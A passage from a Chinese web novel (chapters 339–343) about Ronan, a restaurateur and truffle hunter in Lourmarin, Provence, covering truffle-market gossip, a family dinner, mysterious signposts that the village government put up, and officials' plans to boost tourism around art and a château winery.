“我过去的时候,他们的交易已经完成了,其中一个人说现在世道变了,以前卖松露什么时候还要切开看看里面是不是黑的?都怪那些意大利人用胡桃木染料把白松露的外表染成黑松露的颜色,在最近一个月大量投入到普罗旺斯市场,而且还不是普通的白松露,而是最垃圾的白松露!” “意大利人把白松露伪装成黑松露卖到普罗旺斯了?”罗南忍不住惊呼出口。 意大利盛产白松露,但这东西的味道和法国的黑松露没有办法比味道差别太大了。 但差距更大的是价格。 去年普罗旺斯黑松露2000法郎/公斤时,意大利的白松露只有350法郎/公斤。 普罗旺斯不是遍地美食家吗? 他们的舌头居然能被意大利人骗了?? 只能说松露市场的需求量太大了,可能有人发现了问题.也在金钱的诱惑下‘蛇鼠一窝’了。 冯珍一边咧嘴一边撇嘴: “可不呢!你说他们多坏啊?那两个人骂的可脏了,说如果不是这批白松露,普罗旺斯的松露价格早就破4000法郎了,不过现在黑松露更‘供不应求’了,价格一路涨涨涨涨涨。” 罗南的认为这种内部消息,一般人很难了解到,这简直是普罗旺斯松露市场的巨大丑闻。 而且母亲口中描述的那两个人的举止,让罗南联想到了在卡庞特拉松露市场上的经历,那些松露经纪人交易时就喜欢偷偷摸摸的,于是他试探性的问: “那两个是吕贝隆口音吗?” 冯珍想都没想就摇头: “不是,北边来的,卡庞特拉,他们聊天的时候提到了。” 罗南一脸疑惑的摸起了下巴: “果然来自卡庞特拉,但他们怎么来卢尔马兰交易松露了” 卡庞特拉距离卢尔马兰有2个多小时的车程呢。 来干什么? 就为了交易松露? 冯珍以为罗南是不相信她讲的事,拍着桌子说: “卡庞特拉怎么了?餐厅里还来过阿维尼翁、尼斯和波尔多的顾客呢,就是最近!餐厅里每天热闹的不得了.看戏都不带重样儿的!” 罗南半信半疑的看向大堂里的一桌桌客人。 真的假的? 最近来了那么多吕贝隆以外的顾客? 当晚卢卡斯来到餐厅送松露,罗南暂时离开了餐桌,主动去和他聊了两句。 “最近怎么样?”罗南笑着问。 “挺好的。”卢卡斯的回答并没有出乎罗南的意料,无论什么时候问,他都说自己很好,但他的下一句话就出乎罗南的意料了。 卢卡斯似笑非笑的看罗南: “你在戈尔德弄出的动静挺大的啊。” 卢卡斯不了解艺术,对此也没有什么兴趣。 但他朋友多,遍布吕贝隆,其中总有一些是了解艺术的。 这半个月有好几个朋友给他打电话,说你们卢尔马兰最近在普罗旺斯很‘出名’啊,卢卡斯这才知道罗南在戈尔德原来弄出了这么大的动静。 这小子,不止挖松露厉害,干别的也是一样的优秀。 罗南摆了下手: “在卢尔马兰就别聊什么艺术了,我听说最近松露价格涨了许多?” 卢卡斯先是点头,随后略显遗憾的叹了一口气: “是的,每两三天就要涨一次,只是现在到了松露采摘季的尾巴,如果时间早一点,按照这个趋势涨到5500法郎或者6000法郎都有可能。” 一到3月,松露就不好找了。 可能有,但除了本事外还要凭借一点点运气。 去年3月,罗南挖出来的几乎都是老松露,只能做松露酱的那种品质,如果不是挖到一颗大松露,几乎算是颗粒无收。 所以2月的最后这半个月格外珍贵,尤其现在价格涨的那么高。 罗南用安慰的语气说: “不可能只有现在供不应求,到了11月新的松露季,价格也一定会非常不错。” 1月份的那次寒潮至少会影响普罗旺斯3-5年的松露价格,野生松露生长需要很长的时间。 卢卡斯不置可否的点了下头,没有说什么。 罗南用闲聊的语气问: “听说到了春天,你的那片林子要进行菌丝采样?做了吗?” 卢卡斯表情冷漠的摇头: “还没做,实验室的人说下个月初。” 罗南点了点头,在卢卡斯的肩膀上拍了两下: “好。” 这个时间节点他记住了。 卢卡斯要带玛格丽特回家休息,聊了两句便离开了餐厅。 罗南把他送到门口,目送他们进入了夜幕之中,直至看不到身形才收回视线。 不知道是不是错觉,他总感觉卢卡斯的腰背没有那么直了。 和卢卡斯的交谈只是一个小插曲,今天的主题是和朋友们聚餐。 罗南回到餐厅,一看到正在喝酒的朋友们便无声的叹了一口气。 卢卡斯的腰背是否有那么挺直罗南不确定,他总觉得那是由于知道卢卡斯的秘密引发的心理错觉。 但他的朋友里有一个人的腰背是肉眼可见的‘塌’了下去,而且不止他一个人发现了。 第340章 灵异事件? 罗南装作无事发生,带着微笑坐回了他的位置。 而此刻餐桌上在聊的依然是他走之前的话题。 “现在牛羊肉的成本太高了,大家都不怎么舍得吃肉我的卡车两周才加了一次油。”弗雷迪大吐苦水,“之前一周要加两箱呢。” “面包店也一样不好干,以前下午面包肯定会卖完,今天我来的时候,剩下了十几个没卖出去,我都带来了,一会大家分一分。”阿兰的生意也被寒潮影响了。 餐厅的生意一直不错,但冯珍也跟着叹气: “今年的日子都不好过啊。” 每天看尽‘人生百态’的她非常有发言权,大家的日子都多多少少受到了寒潮的影响。 弗雷迪羡慕的看向长桌另一侧的路易: “屠宰场旁边的那栋空了五六年的石屋上周卖出去了,有钱人根本不在乎普罗旺斯的冬天有没有寒潮,因为他们冬天不在这里过,路易,你的生意应该没受影响吧?我说你这家伙最近话怎么这么少啊。” 聚会的人多,桌子非常长,路易似乎没有听到对面弗雷迪的话,正问身边的几个人: “你们有人要米饭吗?我帮你们一起盛点?” “哦,不用了亲爱的,我不吃了。” “我也不吃了,吃饱了。” 路易点了点头,起身去后厨盛饭。 罗南和佐伊对了一个眼神,同时看到了对方眼睛里的担忧。 今天一整场聚会看下来,路易没有之前活跃了,尤其是讲到和工作有关的话题时,他总是开小差去干别的。 但路易应该是这帮人里最‘侃侃而谈’的那一个,他似乎什么都知道,不管大家说什么话题都可以讲出点东西。 可今天的他已经沉默的和维埃里差不多了。 难道工作危机升级了吗? “我最近太忙了,没有给爸爸该有的关心。”佐伊自责的小声说。 罗南亲了一下她的额头,安慰道: “没事,我们现在忙完了,多多关注一下路易。” “只能这样了。”佐伊担忧的回头看路易离开的方向,发出了一道疑惑的鼻音,“维埃里怎么也去后厨了?” 罗南回头看了一眼: “可能是去帮忙的吧,你知道的,有些事情路易一个人做大家不放心。” 路易来到后厨没有马上去盛饭。 而是面对着巨大的橱柜暗自愣神,也不知道在想些什么。 不过留给他的独处时间只有短短的几秒,背后响起了清晰的脚步声。 维埃里端着他的盘子出现了: “我也想吃点米饭。” 路易对儿子露出一个笑容,把手伸过去: “我来帮你盛吧。” 维埃里没有拒绝,把自己的餐盘递过去,站到父亲身边看他盛饭: “第二学期的成绩出来了。” 法国高中实行学期制,每学年分3个学期,学期末会进行综合笔试。 2月初,维埃里结束了他12年级的第2学期学习,同时进行了第2学期的考试,这也是他高中的最后一次期末考试。 12年级的第三学期结束,他就要直接去参加高中毕业会考了。 路易期待的问: “怎么样?” 维埃里的语气没有什么起伏: “11.5分。” 路易的脸色肉眼可见的难看了。 期末考试和高中会考一样,都是20分制。 16-20分优秀。 14-15.9良好。 12-13.9中等。 10-11.9及格。 <10不及格。 维埃里的成绩已经在‘悬崖’的边缘了。 由于法国高中生必修的哲学学科经常会出现‘翻车’的现象,如果保持这个水平,一个不留神维埃里就有可能没有大学上。 路易冷静了几秒,决定不给儿子上‘思想教育’课了。 自从圣诞节佐伊提醒大家维埃里已经长大了后,路易就改变了和维埃里的相处方法。 他意识到,一味的‘否定’并不能帮助到儿子,还严重打击了他的自信心。 原来维埃里是家里最活泼开朗的那个,但这大半年,维埃里天天把自己闷在房间里。 而且最近发生的很多事,也让路易认同了维埃里已经长大的事实。 他们现在应该是平等关系。 路易把盘子递给维埃里,脸上的笑容依旧灿烂: “很好啊,如果能保持住这个成绩,高中会考肯定没有问题。” 维埃里低着头说: “我以为你会骂我。” 路易笑容灿烂的说: “怎么会呢?我的儿子那么棒!” 维埃里的表情终于发生了变化,他看着父亲的侧脸露出了一个浅浅的微笑: “我以为向你坦白了糟糕成绩会换来一顿教训,但情况却是你不仅没有骂我还第一次夸赞我很棒。” 少年开心的端过盘子: “所以很多时候,困难其实是我们臆想出来的是不是爸爸?” 见到路易从后厨回来,罗南主动和罗天海换了个位置,坐到了路易的身旁。 佐伊是女孩子,有些事情她和路易沟通起来不是很顺畅。 这个时候就该他这个‘女婿’上场了! 事实上,罗南对路易的了解更多的是体现在私下的生活中,佐伊口中关于路易的骄傲的一面,罗南了解的并不多。 但他了解卢卡斯。 卢卡斯最大的问题不是‘一意孤行’,因为每个人都有看走眼的时候,而做生意本就是赌注。 罗南认为卢卡斯身上最大的问题是——从不和身边的亲人说他的真实情况,所有事情都要独自一人扛下。 卢卡斯和罗南非亲非故,罗南没有资格说什么。 但路易不一样。 怎么,你是觉得我这个女婿没有本事,还是觉得你的女儿没办法和你一起想办法? 正当罗南决定和路易‘开诚布公’的说说心里话时,路易居然主动和大家聊起了他的工作: “目前看下来,寒潮对我们的影响很有限,房价只是稍微回落了一点,现在又开始回升了,我这个行业的问题是竞争太大了.这半年吕贝隆多出了几百个房产中介。” “哦,上帝啊,多出了几百个?”弗雷迪把叉子举在半空,“是不是快比房子多了?” 阿兰听的不停摇头: “大家都发现卖房子挣钱,来抢这块蛋糕了。” 老卡尔摸着手杖说: “我听布兰科说,前几天亨利去政府举报,说有陌生人频繁的在卢尔马兰街道上没有目的的闲逛,后来去核查了那个人的身份,发现是博尼约的房产中介,在看哪里有空房子。” 路易苦涩的喝了一口酒: “那一定是个可怜的家伙,听说有公司会给中介定销售额为了多拿到一些资源,大家能想到的办法都想到了。” “这么冷的天在外面闲逛也是为难他了。” “还是那句话,今年都不容易啊。” 路易的状态突然改变了。 虽然不会说的太详细,但也会主动讲一讲自己工作上的事情。 这让罗南非常意外,已经酝酿好要劝他的话没有用武之地了。 吃了点米饭突然想明白了? 过了一会,罗南敏锐的观察到路易对着维埃里做了一个‘可爱’的耸肩动作,那和他的人设完全不符。 “你怎么回来了?” 罗南换位置前和佐伊说了他想要过去‘开导’路易,所以佐伊始终观察着罗南的一言一行。 但罗南坐到那什么话都没说,喝了两杯酒,吃了几颗龙虾球就回来了.这是改变计划了? 罗南把脑袋凑到了佐伊身边,小声说: “咱们暂时就当什么都不知道吧。” 佐伊忽闪着眼睛问罗南: “为什么?” 罗南看了看路易,又看了看维埃里,用猜测的语气笑着说: “我猜已经有心思细腻的家伙替咱们开导过他了,只要情况没有太严重,没必要‘过分’关心,那反而会给路易带来压力。” 路易已经敢于讲自己工作上发生的事情,罗南觉得没必要再去说什么。 佐伊顺着罗南的眼神看向正默默吃饭的维埃里,压低声音问: “你说的不会是维埃里吧?” 怎么可能啊,那小子除了足球没再关心过别的! 罗南拍了拍佐伊放在腿上的手: “维埃里是一个心思非常细腻的男孩子,心思细腻的人总是能发现更多的细节而且请相信我,维埃里心里关心的绝不只有足球。” 佐伊半信半疑的问: “我们一点事情都不用做了吗?” 罗南拿起他的杯子,笑容灿烂的说: “心里问题交给维埃里,我们从其他方面帮助路易。” 第二天,罗南一早就进了山。 松露采摘季的最后这半个月对他也格外重要,要努力多赚点钱了。 虽然他现在已经很富有,但未来花钱的地方也很多。 今天他在山里待的时间比较长,返程回卢尔马兰时天已经黑了。 天黑后,行使在D943号公路上只能通过寻找卢尔马兰城堡的踪迹判断什么时候该下主路。 前半个月路边有康奈尔他们做的提示到中餐厅还有X公里的指示牌,但没有两天就被政府拿走了.这种私人制作的牌子不允许摆放在重要主路上。 但开着开着,罗南突然一脚刹车踩下去,停到了路边。 提示到中餐厅还有X公里的指示牌又出现了 “灵异事件???”罗南摇下车窗,把脑袋探了出去。 第341章 卢尔马兰的巨大变化 罗南清楚记得康奈尔抱怨政府把他们做的牌子拿走时的语气和神态,甚至还能回忆起那天他穿的是什么衣服、喝的是什么酒。 但半个月后.那块牌子又出现了! 而且就是农夫们做的那块!! 更神奇的是,罗南早上开车离开卢尔马兰时它还不在那里。 罗南摇上车窗,继续向前行驶。 在前面看到了第二块、第三块进入卢尔马兰村后指示牌也相继回到了它们半个月前的位置。 “是谁胆子那么大?居然敢‘顶风作案’?” 他猜一定是哪个大胆的农夫又把牌子立了回去。 说不定是亨利? 那个家伙有了钱后除了罗南谁都不服,每次和特奥见面就是‘天雷勾地火’,皮埃尔说他他也不听,还警告皮埃尔少管闲事。 也许政府的话他也不放在眼里了? 罗南回到餐厅,正好看到亨利带着妻子约瑟芬和女儿丽莎在吃饭。 他过去一问,发现并不是亨利干的。 “罗南先生,我最近在跟着约瑟芬学习更为复杂的编织工艺,一直没离开家里。”亨利紧张站起来,“哦,不不,这周我们来你餐厅吃过两顿饭!” 寒潮对编织订单的影响也很大,最近才因为在戈尔德的摊位好起来。 1月和2月订单量连12月的一半都没有,妇女们的收入直接‘腰斩’。 不过天气对约瑟芬的影响相对较小。 她是卢尔马兰除了巴蒂和罗南外,编织手艺最‘高超’的人。 造型比较复杂的灯和饰品除了她谁都做不出来,收入相对稳定。 只能说,技术过硬的人在什么条件下都能挣到钱,而约瑟芬天生就是吃这碗饭的。 见三口人点了四道菜,亨利手边还有一瓶红酒而不是只有一杯,罗南笑着拍了拍亨利的肩膀,示意他坐下继续吃: “没事,我就随便问问,你们快吃吧。” 亨利拿起桌子上的帽子: “我去帮你问问吧罗南先生,看看是谁放回去的。” 罗南强势的把他摁回到椅子上: “不用,谁放回去的都无所谓,反正明天就没了,你点的这几道菜是新推出的,快尝尝味道怎么样,需不需要调整下?” “不需要调整,特别好吃!”亨利重新坐下去拿起了叉子,“约瑟芬和丽莎觉得好吃我们才又来了一趟,我们全家都很爱吃!” 当晚罗南又问了几个在餐厅里吃饭喝酒的农夫,结果大家都不知道怎么回事。 罗南也没放在心上。 反正这东西留不住。 不管是谁偷偷放回去的,再被政府没收两次肯定就老实了。 第二天早上,牌子依然在,罗南安慰自己现在时间还早。 第二天晚上牌子还在,罗南猜政府可能还没发现。 但那些指示牌居然在第四天的早上还屹立在D943号公路的路边。 过年那次都没有存在这么多天,第三天早上就全部没了。 罗南不太了解普罗旺斯的法律,不清楚私人立牌是不是属于违法行为但他知道这是不被允许的。 为了不给自己惹麻烦,也不给办这件事的人惹麻烦,罗南决定当天早点回来把这些牌子拆了。 没成想下午他开车回卢尔马兰,发现那些牌子居然变了样子。 原本由农夫们制作的木质指示牌变成了赭石砂岩材质的。 上面不仅用法语手工雕刻了罗南餐厅的名字,还有英语、意大利语和德语版本并且周围装饰了一圈薰衣草花纹,比戈尔德附近的提示牌还好看。 罗南觉得这件事非常不对劲,甚至没有回餐厅放松露,直接把车开到了卢尔马兰政府楼下。 “布兰科呢?”罗南随便抓了一个人问。 那人见罗南来了,开心的说: “哎呀罗南,你好久没来了,以后常来坐坐啊,布兰科.他好像不在办公室,我去找找,你先去茶水间等会?我帮你冲杯咖啡。” 罗南哪里有心情喝咖啡,主动说道: “D943号公路上和村里出了好多指示牌,你们发现了吗?” 他身后出现了希尔维带着笑的声音: “是我让人去按的。” 罗南回过头去,看到希尔维的脑袋从一个屋子里探出来,立即惊喜的问: “你按的?” 希尔维的脑袋后面又出现一个脑袋,布兰科笑着对罗南招手: “你来的正好,我们正在聊你呢,你一会有其他事情要忙吗?如果不忙,进来给我们讲讲你在戈尔德发生的事情。” 罗南:“???” 罗南进入希尔维和布兰科所在的房间,发现那是个小型会议室,里面坐了四五个人。 在他们面前放着密密麻麻的资料,有些资料上还有图纸一样的东西,像是街道规划图。 会议室的门还没关上,这些卢尔马兰政府官员便兴奋的叽叽喳喳起来,嘴里说的全是‘相思鸟’、拍卖会、跳价和艺术相关的词汇,让罗南一秒回到了戈尔德。 罗南知道他们很着急,但你们先别急.因为我比你们更急: “那些写有我餐厅名字的指示牌是你们按的?” 希尔维一副‘快夸我’的得瑟模样: “当然了,你不知道我找了多少个石材场才找到肯在三天内完成订单的,我都快开到阿维尼翁了!” “那前几天的那些木头的——” 罗南话说到一半,被心急的布兰科打断: “也是我让希尔维去放的,石材的指示牌还没做好,但不能让游客迷失在吕贝隆的山路里.用它们撑了几天。” “游客?什么游客?”罗南刚弄清了上一个问题,新的问题又出现了。 希尔维眉飞色舞的说: “你这半个月天天在戈尔德‘大放异彩’,当然不知道卢尔马兰的事情了,现在的卢尔马兰啊——” 布兰科又打断了希尔维,看着罗南说: “快讲一讲你在戈尔德的事情吧,这半个月我们只能在别人的嘴里听到你的故事,现在该轮到你这个主角给我们讲讲故事到底是什么样子了。” 罗南没有任何隐瞒,用简洁的语言把‘希望’成为1月份戈尔德最亮眼的艺术品,吸引了格拉内博物馆馆长诺曼德的关注,他给了罗南第二个展示机会,‘相思鸟’引发的一系列争夺战讲了出来。 过程中,布兰科等人也会进行一些实时的提问,大部分是他们不知从哪里听来的八卦。 例如‘罗南是不是在私下里和马雷查尔达成了某种合作关系,马雷查尔为什么会孤注一掷的为‘相思鸟’背书’、‘帕特里西亚小姐和佐伊是不是认识了许多年的闺蜜’、‘国家优先购买权不是诺曼德馆长临时编纂出来’等问题。 能回答的罗南都回答的,不知道的,他也会坦诚的说出自己知道的所有。 “我不知道‘国家优先购买权’是不是真的,但拍卖会结束,诺曼德先生的助手戴伊告诉我,他们已经开始进行国宝认证流程,大概一周左右可以得到结果。”罗南思考了一下,“我和佐伊马上要去戈尔德见几个朋友,到时候我会问问进度如何了。” 罗南在戈尔德还有许多‘收尾’的工作没有完成,现在只是画了一个逗号。 听巴蒂说,幸亏这两天他和佐伊没有在戈尔德出现否则场馆里有可能会出现踩踏事件。 ‘相思鸟’的拍卖结束后,无论在戈尔德的哪个角落都能听到罗南的名字顺带着佐伊的名字也更响亮了。 写有罗南主席名字的卢尔马兰手工艺合作社‘临时展位’一天接待的顾客数比许多小型展览还多。 卡福和他的伙计们都接不过来单了。 巴蒂的原话是这样的: 虽然罗南的人离开了戈尔德,但名叫罗南的艺术风暴正在戈尔德上空刮的起劲呢! 罗南讲述的过程中,布兰科兴奋的不停拍手。 “什么,你们居然还在戈尔德摆了一个写有‘卢尔马兰手工艺合作社’的摊位?” “佐伊在拍卖会的感谢环节点名了‘卢尔马兰’吗?这个孩子.她今天在家吗?我要亲自去感谢她!” “太棒了太棒了,你们三个都太棒了!” 讲完了所有在戈尔德发生的事情后,罗南看向刚刚没有把话说完的希尔维: “最近卢尔马兰怎么了?” 前一段时间,罗南每天都去戈尔德,有的时候晚上还会留下和一些新认识的艺术家朋友吃饭,好几次回到卢尔马兰家里的灯都黑了。 从戈尔德回来,罗南又一头扎进了山里去采松露,别说没有什么时间观察卢尔马兰.他连和朋友们见面的时间都没有。 不过,短短半个月而已,卢尔马兰能发生什么变化啊? 希尔维动了动嘴,迫不及待的想要回答罗南的问题,但她最终还是忍了下来,把问题抛给了卢尔马兰旅游管理中心的负责人克劳德: “让克劳德回答吧,他可以让你更为直观的了解卢尔马兰发生了什么。” 克劳德可能是在场人中听故事时最兴奋的那个。 布兰科只是拍手,克劳德是又拍桌子又跺脚.就差大声叫好了。 克劳德从面前的资料里找出了一份: “1月份卢尔马兰一共只接待了不到300名游客,二月份虽然才过了一半,但至今已经有3000多名本土和国际游客来卢尔马兰参观了,同时间段金三角的梅纳村也只有5000多,而我们的邻居古尔德只有600。” 他看着罗南,语气激动的说: “来卢尔马兰的3000多名游客有一个共同的特征——他们都去参加了戈尔德的艺术系列活动,所以罗南.这些突然涌入的游客都是因为你们在戈尔德的宣传而来的!” 第342章 小众&高端 在母亲冯珍说餐厅里来了卡庞特拉、阿维尼翁、尼斯和波尔多的顾客时,罗南就觉得有些奇怪了。 现在是旅游淡季,怎么会有那么多大城市的人来卢尔马兰呢? 但母亲除了讲故事,没说出什么其他有用的信息罗南也就没有多想。 现在听到克劳德给出的数据,一切都串起来了。 原来是一部分去戈尔德看展的人,顺道来卢尔马兰旅游了。 为了让罗南更为了解卢尔马兰的变化,克劳德放下资料,用浅显易懂的方式说道: “不要看我们和梅纳村还有着2000多游客的差距,但在旅行季,来卢尔马兰的游客只有梅纳村的五分之一甚至更少,现在这个比例是我们从来没有达成过的成绩,以往一整个冬天来卢尔马兰的游客都不会超过2000,而现在短短半个月就有3000多了。” 梅纳村和卢尔马兰同为小吕贝隆区域范围内的村子,所以克劳德以它为例。 希尔维忍不住插嘴道: “这些游客来卢尔马兰的目的地是去你的餐厅!但只是顺道在卢尔马兰逛逛就把卢尔马兰的经济带动起来了,具体的数字我不方便对你说,但从去年9月旅行季结束你的餐厅开业起,卢尔马兰的经济一路‘逆跌’.也许这个月的地方税务都能赶上旅行季了。” 她开心的敲了几下自己面前的笔记本: “布兰科说,他最近几个月去沃克吕兹省开会,每一次都会被点名表扬,而且点名的次数越来越频繁,我们相信下个月——” 希尔维突然噤了声,似乎是一时兴奋说出了不该说的事。 不过布兰科补上了她没有说的话: “我们对下个月申请到旅游局的预算非常有信心,现在的问题只是如何通过数据申请到更多的扶持资金。” 他笑着对在场的几个‘心腹’说: “没事,罗南不是外人。” 有了布兰科的话,希尔维说话也就不用藏着掖着了: “我们把你的餐厅定义成了比卢尔马兰城堡更加重要的‘旅游景点’,所以在卢尔马兰管辖范围内做了路标,指示游客餐厅的位置,你不用用这么惊恐的眼神看我.吕贝隆还有村子把咖啡厅设置为重要景点呢,这算是人文景观的一种。” 克劳德笑着转起了笔: “真是没有想到啊,戈尔德举行的大型活动,咱们卢尔马兰也从中受益了,我相信以后你和佐伊出去参与的每一次活动都是对卢尔马兰的一个宣传,你们两个现在比我花钱买的曝光渠道还有用。” “太感谢你们了。”希尔维感激的对罗南说,无比真挚。 卢尔马兰政府的人手不多,是一个很小的‘团队’,但他们身上却背负着振兴卢尔马兰的重要责任。 在巨大的压力下,突然发现还有另外几个实力强大的外援在支持他们这种感觉太幸福了。 周围接连出现好几道附和声。 大家都很感谢罗南、佐伊和巴蒂在戈尔德系列艺术活动上对卢尔马兰做出的贡献。 与一脸喜悦的众人不同,罗南冷静的问克劳德: “有戈尔德的数据吗?” 克劳德点头: “当然,我们时刻关注吕贝隆优秀村子的情况。” 罗南好奇的问: “戈尔德1月和2月的游客量有多少?” 克劳德只用了两三秒钟就在他的众多资料里找到了戈尔德的数据,似乎这部分他看了无数次似的: “戈尔德1月共接待了21000多名游客,到2月中接待游客量超过35000名。” 希尔维发出了羡慕的声音。 如果这是卢尔马兰的数据该有多好啊。 罗南低头斟酌了几秒,似乎在组织语言,很快他抬头看着面前的几个人说: “这次我去戈尔德参与活动有一个巨大的感受,卢尔马兰与戈尔德的差距不止是这10倍游客,还有很多很多,许多藏家和艺术家在活动期间都居住在戈尔德,除了没有夜生活,我没听到他们还有其他抱怨。 但卢尔马兰不仅无法解决大量游客的住宿问题,还没有办法满足不同群体的居住需求.如果不能解决这个问题,我们永远都接不到普罗旺斯的大型活动,也就永远无法像戈尔德那样成为游客的首要目的地,来自世界的游客会因为一个餐厅去一个地方吗?答案是不言而喻的,但他们会因为艺术节去戈尔德,我相信普罗旺斯类似的活动机会还有很多,我们距离承接大型活动的距离还是太远了。” 贫穷的艺术家能在戈尔德找到价位可以接受、环境也不错的居住地点。 有钱的艺术家和藏家能找到条件更好的。 就连伊内斯和富有的帕特里西亚小姐这段时间都住在戈尔德了。 而卢尔马兰呢? 只有几家家庭旅馆和一间还没开业的‘小酒店’。 10月份,商业街上最后一个店铺被租走了,那里未来将成为卢尔马兰第一个正规酒店。 由于距离近,罗南去看了好几次,也和老板聊了几次。 这家酒店会在4月初,旅行季开始前开业,但里面只有十几个房间,罗南没问价格,不过根据里面摆着的材料判断,肯定接待不了有钱人。 罗南只是用住宿举例,衣食住行都是一样的问题。 会议室里刚刚还在笑着的几个人立马变换了脸色,希尔维表情复杂的问在座几个人: “你们其中有谁是不是最近接触过罗南?为什么每一次他都能精准的发现我们的工作方向!” 去年春天,这个刚搬来的家伙直截了当的指出了‘卢尔马兰没有属于自己的特色’这个短板。 去年秋天,他指出政府的问题是无法打动沃克吕兹省旅游局。 现在他又把布兰科才给大家布置下去没多久的新任务点出来了。 罗南在政府没有‘内鬼’谁相信啊! 布兰科露出欣慰的笑容,对希尔维说: “所以我说不要拿罗南当外人,因为他和我们站的角度相同同样希望卢尔马兰变得越来越好,所以在不同阶段,他和我们一样总是能发现新的问题。” 在几位官员或诧异、或感动、或仔细品味这句话的言外之意时,布兰科继续对罗南说: “其实从几个月前,我们就在思考这个问题了,如果申请下来旅游局的预算该把钱花到哪里,你知道的,拿到钱再去思考这些问题就太晚了,我们现在同时要和时间赛跑。 旅游基础设施升级肯定是非常重要的一个方向,商业街的第二期和第三期建设已经在计划中,如果申请到的预算符合预期,这两期的规模都会比第一期要大。” 罗南悄然前倾身体,认真听布兰科接下来要说的话。 “你、佐伊和巴蒂已经在普罗旺斯艺术界闯出了一些名堂,是卢尔马兰的‘招牌’,未来一定会有许多热爱艺术的游客来到卢尔马兰,后两期商业街招租时,我们会提高艺术类商铺的招商比例,而且会围绕你们三个人的风格做一些针对性的招商。”布兰科看着负责招商的希尔维说。 希尔维展开给罗南解释: “你的甜品艺术在普罗旺斯没有第二个人做过,巴蒂的编织在普罗旺斯也是小众品类,玻璃和陶瓷算然是主流,但把它们结合起来的艺术家很少,佐伊是第一个做出名堂的,虽然品类小众但你们在拍卖会中的作品都拍出了高于均价非常多的高价,我们希望未来的卢尔马兰商业街能有小众和高端的属性,这可能会是下一阶段招商的方向。” 这件事负责旅游业务的克劳德也有要补充的: “如果申请到预算,未来两年我们的短期目标是把卢尔马兰打造成一个小众但高端的中世纪小村子形象,这是我们从戈尔德和梅纳村等明星村庄身上总结出的经验,同时它也符合我们确定的特色之路——粉红酒。 根据调查显示,普罗旺斯所有以酒为特色的地区都会努力营造自己的‘高端’属性,与酒品牌做强挂钩,比如以红酒闻名的教皇新堡,他们的宣传策略是强调自己不同于其他地方的历史权威感,这会使得产区内的酒也可以卖出好的价钱。” 罗南越听越激动。 如果卢尔马兰未来能立住小众和高端的形象就太棒了! 罗南已经决定要开展编织家具和其他高端手工的业务,村子的形象会帮助‘卢尔马兰手工艺合作社’的品牌形象变得更为可靠。 而这条道路对粉红酒的帮助就更加巨大了! 罗南之前就在苦恼如何把20法郎一瓶的粉红酒卖出高价值.这又给了他一个可以尝试的方向——产区影响! 以后还是要常来卢尔马兰政府啊,每次来听到的都是好消息罗南强忍住笑出声的冲动,在心里想着。 他努力控制自己的表情,不希望被人看出他太过兴奋。 他还没有做完‘前置准备’,现在还不能和政府说他想要接手一个酒庄。 “憋住啊,现在还不是说的时候!”罗南在心里不停提醒自己。 桌子的另一侧,布兰科无声叹了一口气。 克劳德分析了这么多利好粉红酒的方向,罗南一点反应都没有,看来他对开酒庄一点都不感兴趣啊. 下个月‘逼’他接下酒庄肯定是一场硬仗了。 为了让这件事变得更加顺利,布兰科提前铺垫了起来: “你说的住宿问题我们也提前考虑过了,未来卢尔马兰范围内会新建满足各种群体的居住场所,即使是最高级别的也在我们的计划中,波尔多有一套成熟的酒庄旅游模式,我们打算复刻下来,在卢尔马兰兴建一所最先进的‘城堡酒庄’。” 布兰科一边观察罗南的反应,一边在心里提醒自己: “憋住啊,现在还不是说的时候!要一点点抛出‘诱饵’等着罗南上钩!” 第343章 连锁反应初现端倪 罗南的心砰砰砰地狂跳起来。 城堡酒庄是一种非常高端的酒庄经营模式。 多出现在波尔多、卢瓦尔河谷和普罗旺斯等产酒大区里。 其核心是通过沉浸式体验,将酿酒传统、田园美学与高端住宿融为一体。 罗南在后世有幸去参观过一次波尔多的高端酒庄,那家酒庄不仅做葡萄酒销售、住宿和餐饮,还承办大型活动,而且衍生品开发的也像模像样。 整次体验下来,罗南认为那是兼具饮用、投资与文化崇拜的‘三维奢侈品’。 卢尔马兰政府居然计划要兴建一座‘城堡酒庄’?! 上帝啊,他们对旅游局给的预算是不是太乐观了? “我同样认为旅游局一定会通过卢尔马兰的预算申请,毕竟这里真的和之前不一样了,但是——”罗南谨慎的说,“我从你们的规划里看到了许许多多要做的事情,也许我们应该一步一步来,先从基建开始?” 罗南当然希望‘城堡酒庄’计划能够顺利落地,因为那是和他息息相关,但对于此时的卢尔马兰来说,步子应该一步一步走,基础的旅游建设和村庄建设更为重要这个时候先别想那些高端的东西了。 在座的几位官员笑着互相看了几眼,由克劳德回答了罗南的这个问题: “沃克吕兹省过去十年和未来十年的全部规划和升级都在旅游业板块,旅游局的‘慷慨’程度远超你的想象,否则梅纳村和博尼约不可能在短短的五六年间就和历史悠久的戈尔德齐名成为了吕贝隆的‘金三角’。” 提到这个话题,希尔维更加要感谢罗南了: “根据我们得知到的消息,梅纳村和博尼约向沃克吕兹省申请预算时都提及了村子未来的‘艺术’属性,这是一个非常强有力的‘抓手’,你应该知道艺术在普罗旺斯的历史地位中有多重要,而我们现在已经提前迈出了‘艺术’这一步——” 布兰科温和的看向罗南: “是你、佐伊、巴蒂和你们吸引来的那些来卢尔马兰定居或者暂住的艺术家们,补全了卢尔马兰向旅游局申请资料中的最后一个版图,正是因为你们,我们才坚信这一次必定会成功,而且说不定会申请到比梅纳村和博尼约更加好的资源倾斜。” “艺术家的数量可以影响你们申请到的资金数额?”罗南不敢置信的瞪大眼睛。 这不成闭环了吗? 因为想要做粉红酒生意,所以努力吸引艺术家的到来。 艺术家的数量多了,沃克吕兹省旅游局就会加大对卢尔马兰政府的扶持力度。 卢尔马兰政府拿到了充足的预算会兴建‘城堡酒庄’,又作用回了罗南的身上。 布兰科用坚定的语气说: “没错,事实上沃克吕兹省已经关注到卢尔马兰的艺术属性,戈尔德举办了那么大型的艺术活动不会没有政府的关注,而你们在戈尔德又如此的耀眼.他们已经主动来问我卢尔马兰的艺术情况了。” “那快去申请预算啊。”罗南焦急的说。 趁热打铁。 别等什么三月初了! 布兰科沉着的敲了几下桌子: “不,现在还不是时候,你、佐伊和巴蒂在戈尔德带来的连锁反应还远远没有结束我们要用最好的数据和表现去打动沃克吕兹省,让他们给到最好的资源。” 希尔维默默叹了一口气: “最近我们不止在做基础建设的升级方案,还做了好几版灾害补偿方案需要资金的地方很多,总之,要准备好一切再去申请这笔预算,虽然要多等一些日子,但我们相信那绝对值得。” 由于莫力酿酒合作社的原因,卢尔马兰范围内葡萄园的面积极大。 